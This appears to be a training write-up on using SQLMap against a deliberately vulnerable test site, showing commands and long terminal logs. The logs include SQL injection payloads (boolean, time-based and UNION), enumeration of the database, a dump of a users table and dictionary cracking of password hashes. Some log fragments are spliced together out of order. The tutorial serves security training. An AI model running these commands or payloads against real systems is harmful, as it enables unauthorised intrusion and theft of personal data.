

# SQLmap

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## Step -1 Purpose and Usage of the SQLMap:

- SQLMap is primarily used to automate the process of detecting SQL injection vulnerabilities in web applications.
- Once a vulnerability is identified, SQLMap can enumerate information about the underlying database management system and extract data from the vulnerable database.
- This includes retrieving database schema information, dumping tables, and extracting sensitive data like usernames, passwords, and other information stored in the database.

## Step -2 Installation of SQLMap:

- SQLMap is written in Python and can be easily installed on most operating systems.
- You can download SQLMap directly from its official GitHub repository. You can use Git to clone the repository or download the ZIP file ( <https://github.com/sqlmapproject/sqlmap.git>)
- If you have Python3 installed, you can install SQLMap using the following command: (python3 sqlmap.py).

## Step -3 Identifying a Vulnerable Web Application:

- The intentionally vulnerable applications designed for educational purposes, such as OWASP WebGoat or DVWA (Damn Vulnerable Web Application). These vulnerabilities are for training and testing purposes.
- We can utilize automated web vulnerability scanners like Burp Suite, OWASP ZAP, or Nessus. These tools can scan websites for common vulnerabilities such as SQL injection.
- By combining manual exploration with automated scanning techniques, you can effectively identify vulnerable web applications for testing and security assessment purposes.

## Step -4 Performing a Basic SQL Injection Attack:

- Use SQLMap to perform a basic SQL injection attack against the chosen target.
- Example command: `sqlmap -u "http://target.com/page.php?id=1" --dbs` .

- Explore the web application to find input fields where user input is directly incorporated into SQL queries without proper validation or sanitization.
- Enter a simple SQL injection payload into the "username" or "password" field. For example, entering ' OR '1'='1 as the username or password would modify the SQL query to become: (SELECT \* FROM users WHERE username=" OR '1'='1' AND password='\$password')

## Process:

- **Syntax:** sqlmap -u <website\_link> --crawl=2
- **Sqlmap** -u <http://testphp.vulnweb.com/> --crawl=2
- Use **--batch** command for automatic response to yes/no questions while executing the commands

```
(kali@kali)-[~]
└─$ sqlmap "http://testphp.vulnweb.com/" --crawl=2 --batch
[200/3] URL: http://testphp.vulnweb.com/
[1.8.2#stable]
[+] https://sqlmap.org
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[*] starting @ 10:12:39 /2024-02-25/

do you want to check the existence of site's sitemap.xml) [y/N] N
[10:12:39] [INFO] starting crawler for target URL 'http://testphp.vulnweb.com/'?lang=en
[10:12:39] [INFO] searching for links with depth 1
[10:12:43] [INFO] searching for links with depth 2
please enter number of threads? [Enter for 1 (current)] 1
[10:12:43] [WARNING] running in a single-thread mode. This could take a while
[10:12:49] [INFO] 8/13 links visited (62%)
got a 302 redirect to 'http://testphp.vulnweb.com/login.php'. Do you want to follow? [Y/n] Y
do you want to normalize crawling results [Y/n] Y
do you want to store crawling results to a temporary file for eventual further processing with other tools [y/N] N
[10:12:54] [INFO] found a total of 5 targets
[1/5] URL: http://testphp.vulnweb.com/showimage.php?file=
do you want to test this URL? [Y/n/q]
> Y
[10:12:54] [INFO] testing URL 'http://testphp.vulnweb.com/showimage.php?file='
[10:12:54] [INFO] using '/home/kali/.local/share/sqlmap/output/results-02252024_1012am.csv' as the CSV results file
in multiple targets mode
[10:12:54] [INFO] testing connection to the target URL
[10:12:54] [INFO] checking if the target is protected by some kind of WAF/IPS
[10:12:55] [INFO] testing if the target URL content is stable
[10:12:55] [INFO] target URL content is stable
[10:12:55] [INFO] testing if GET parameter 'file' is dynamic
[10:12:56] [INFO] GET parameter 'file' appears to be dynamic
[10:12:56] [WARNING] heuristic (basic) test shows that GET parameter 'file' might not be injectable
[10:12:57] [INFO] heuristic (XSS) test shows that GET parameter 'file' might be vulnerable to cross-site scripting (XSS) attacks
[10:12:57] [INFO] heuristic (FI) test shows that GET parameter 'file' might be vulnerable to file inclusion (FI) attacks
[10:12:57] [INFO] testing for SQL injection on GET parameter 'file'
[10:12:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:12:57] [WARNING] reflective value(s) found and filtering out
[10:13:00] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[10:13:01] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[10:13:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
```

## From the sql injection we get following results:

- ✓ testing 'Generic inline queries'

- ✓ testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
- ✓ testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
- ✓ testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
- ✓ testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID\_SUBSET)'
- ✓ testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID\_SUBSET)'
- ✓ testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON\_KEYS)'
- ✓ testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON\_KEYS)'
- ✓ testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
- ✓ testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
- ✓ testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
- ✓ testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
- ✓ testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
- ✓ testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
- ✓ testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
- ✓ testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
- ✓ testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
- ✓ testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
- ✓ testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
- ✓ testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
- ✓ testing 'MySQL >= 5.6 error-based - Parameter replace (GTID\_SUBSET)'
- ✓ testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON\_KEYS)'
- ✓ testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
- ✓ testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
- ✓ testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
- ✓ testing 'MySQL inline queries'
- ✓ testing 'MySQL >= 5.0.12 stacked queries (comment)'
- ✓ considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
- ✓ testing 'MySQL >= 5.0.12 stacked queries'
- ✓ testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
- ✓ testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
- ✓ testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
- ✓ testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
- ✓ testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
- ✓ testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'
- ✓ testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'
- ✓ testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP)'

- ✓ GET parameter 'artist' appears to be 'MySQL >= 5.0.12 OR time-based blind (SLEEP)' injectable
- ✓ testing 'Generic UNION query (NULL) - 1 to 20 columns'
- ✓ automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
- ✓ 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
- ✓ target URL appears to have 3 columns in query

Results are saved in this path '/home/kali/.local/share/sqlmap/output/results-02252024\_1012am.csv'

#### Using the following command

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cat '/home/kali/.local/share/sqlmap/output/results-02252024_1012am.csv'
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs --batch
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provide databases and its names in the SQL

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[*] starting @ 10:20:40 /2024-02-25/

[10:20:40] [INFO] resuming back-end DBMS 'mysql'
[10:20:40] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: artist (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: artist=1 AND 3074=3074
  Type: time-based blind
  Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
  Payload: artist=1 OR SLEEP(5)
  Type: UNION query
  Title: Generic UNION query (NULL) - 3 columns
  Payload: artist=-3145 UNION ALL SELECT NULL,NULL,CONCAT(0x71717171,0x7155477454726a746f4741536666c654362704747
6f6358645246574b7758646a5763494a6172486f,0x7162767671)--
[10:20:42] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[10:20:42] [INFO] fetching current user
current user: 'acuart@localhost'
[10:20:43] [INFO] fetching current database
current database: 'acuart'
[10:20:44] [INFO] fetching server hostname
hostname: 'ip-10-0-0-222'
[10:20:44] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com'

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[10:13:07] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[10:13:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:13:13] [INFO] testing 'Generic inline queries'
[10:13:13] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[10:13:16] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[10:13:20] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[10:13:24] [INFO] testing 'MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)'
[10:13:28] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:13:30] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[10:13:35] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found.
Do you want to reduce the number of requests? [Y/n] Y
[10:13:39] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[10:13:41] [WARNING] GET parameter 'file' does not seem to be injectable
[10:13:41] [ERROR] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent', skipping to the next target
[2/5] URL:
GET http://testphp.vulnweb.com/artists.php?artist=1
do you want to test this URL? [Y/n/q] Y
[10:13:41] [INFO] testing URL 'http://testphp.vulnweb.com/artists.php?artist=1'
[10:13:41] [INFO] testing connection to the target URL
[10:13:41] [INFO] checking if the target is protected by some kind of WAF/IPS
[10:13:42] [INFO] testing if the target URL content is stable
[10:13:42] [INFO] target URL content is stable
[10:13:42] [INFO] testing if GET parameter 'artist' is dynamic
[10:13:42] [INFO] GET parameter 'artist' appears to be dynamic
[10:13:43] [INFO] heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL')
[10:13:43] [INFO] testing for SQL injection on GET parameter 'artist'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[10:13:43] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:13:46] [INFO] GET parameter 'artist' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="non")
[10:13:46] [INFO] testing 'Generic inline queries'
[10:13:46] [INFO] testing 'MySQL ≥ 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[10:13:46] [INFO] testing 'MySQL ≥ 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[10:13:47] [INFO] testing 'MySQL ≥ 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[10:13:47] [INFO] testing 'MySQL ≥ 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[10:13:47] [INFO] testing 'MySQL ≥ 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[10:13:48] [INFO] testing 'MySQL ≥ 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[10:13:49] [INFO] testing 'MySQL ≥ 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[10:13:50] [INFO] testing 'MySQL ≥ 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[10:13:50] [INFO] testing 'MySQL ≥ 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[10:13:51] [INFO] testing 'MySQL ≥ 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[10:13:52] [INFO] testing 'MySQL ≥ 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[10:13:54] [INFO] testing 'MySQL ≥ 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[10:13:55] [INFO] testing 'MySQL ≥ 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATXML)'

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[10:29:12] [INFO] resuming back-end DBMS 'mysql'
[10:29:12] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: artist (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: artist=1 AND 3074=3074

  Type: time-based blind
  Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
  Payload: artist=1 OR SLEEP(5)

  Type: UNION query
  Title: Generic UNION query (NULL) - 3 columns
  Payload: artist=-3145 UNION ALL SELECT NULL,NULL,CONCAT(0x71717171,0x7155477454726a746f474153666c654362704747
6f6358645246574b7758646a5763494a6172486f,0x7162767671)-- --

[10:29:13] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12
[10:29:13] [INFO] fetching columns for table 'users' in database 'acuart'
[10:29:13] [INFO] fetching entries for table 'users' in database 'acuart'
[10:29:13] [INFO] recognized possible password hashes in column 'cart'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[10:29:16] [INFO] writing hashes to a temporary file '/tmp/sqlmap_b7rcmsy26249/sqlmaphashes-j0nlv5zr.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] y
[10:29:18] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
```

Here there are 3 tables are found.

“sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --current-user --current-db --hostname”

By using this command we can found current user, current database, hostname as shown in below image.

```
[10:20:42] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[10:20:42] [INFO] fetching current user
current user: 'acuart@localhost'
[10:20:43] [INFO] fetching current database
current database: 'acuart'
[10:20:44] [INFO] fetching server hostname
hostname: 'ip-10-0-0-222'
[10:20:44] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap'

[*] ending @ 10:20:44 /2024-02-25/
```



Here we are trying to find tables and dump them as shown below.

```
[10:29:28] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[10:29:32] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[10:29:32] [INFO] starting 2 processes
[10:30:10] [INFO] using suffix '1'
[10:30:49] [INFO] using suffix '123' (3)
[10:31:21] [INFO] using suffix '2'
[10:32:06] [INFO] using suffix '12'
[10:32:45] [INFO] using suffix '3' (3)
[10:33:29] [INFO] using suffix '13'
[10:34:17] [INFO] using suffix '7' (3)
[10:35:00] [INFO] using suffix '11' (3)
[10:35:37] [INFO] using suffix '5' (3)
[10:36:18] [INFO] using suffix '22'
[10:36:58] [INFO] using suffix '23'
[10:37:24] [INFO] using suffix '01'
[10:37:52] [INFO] using suffix '4' (3)
[10:38:20] [INFO] using suffix '07' (3)
[10:38:48] [INFO] using suffix '21' (3)
[10:39:23] [INFO] using suffix '14' (3)
[10:40:30] [INFO] using suffix '10' (3)
[10:40:57] [INFO] using suffix '06' (3)
[10:41:24] [INFO] using suffix '08' (3)
[10:41:46] [INFO] using suffix '8' (3)
[10:42:08] [INFO] using suffix '15' (3)
[10:42:34] [INFO] using suffix '69' (3)
[10:42:55] [INFO] using suffix '16'
[10:43:19] [INFO] using suffix '6' (3)
[10:43:50] [INFO] using suffix '18' (3)
[10:44:12] [INFO] using suffix '!' (3)
[10:44:35] [INFO] using suffix '.' (3)
[10:45:03] [INFO] using suffix '*' (3)
[10:45:28] [INFO] using suffix '!' (3)
[10:45:51] [INFO] using suffix '?' (3)
[10:46:18] [INFO] using suffix ';' (3)
[10:46:42] [INFO] using suffix '..' (3)
[10:47:03] [INFO] using suffix '!!!' (3)
[10:47:25] [INFO] using suffix ',' (3)
[10:47:54] [INFO] using suffix '@' (3)
[10:48:16] [WARNING] no clear password(s) found
```

Here are the resultant tables given below.

```

Database: acuart
Table: users
[1 entry]
+-----+-----+-----+-----+-----+-----+
-- +-----+
| cc | cart | pass | email | phone | uname | name |
| address |
+-----+-----+-----+-----+-----+-----+
[10:48:16] [INFO] testing connection to the target URL
| 1234-5678-2300-9000 | 3eb6da270cf058efd0f2bd8bf2c1f136 | test | email@email.com | 454576469 | test | Aymane Top1
1 | sanjay |
+-----+-----+-----+-----+-----+-----+
-- +-----+
| https://www.root-me.org/Jrmbt?lang=en
do you want to test this URL? [Y/n/q]
[10:48:16] [INFO] table 'acuart.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.co
m/dump/acuart/users.csv'
[10:48:16] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.co
m'
[10:48:16] [INFO] testing connection to the target URL
[10:48:16] [INFO] can't establish SSL connection, skipping to the next target
[*] ending @ 10:48:16 /2024-02-25/
GET https://www.root-me.org/RFC4949?lang=en
(kali@kali)-[~]
$

```

## Limitations:

- Ethical Considerations
- Encrypt private/confidential data being stored in the database
- Detection Dependency
- Use a Web Application Firewall (WAF) for web applications that access databases
- Use secure coding and SDLC practices
- Use input validation and sanitation
- Use stored procedures and parametrization
- Complex Scenarios
- Use program analysis techniques and proxies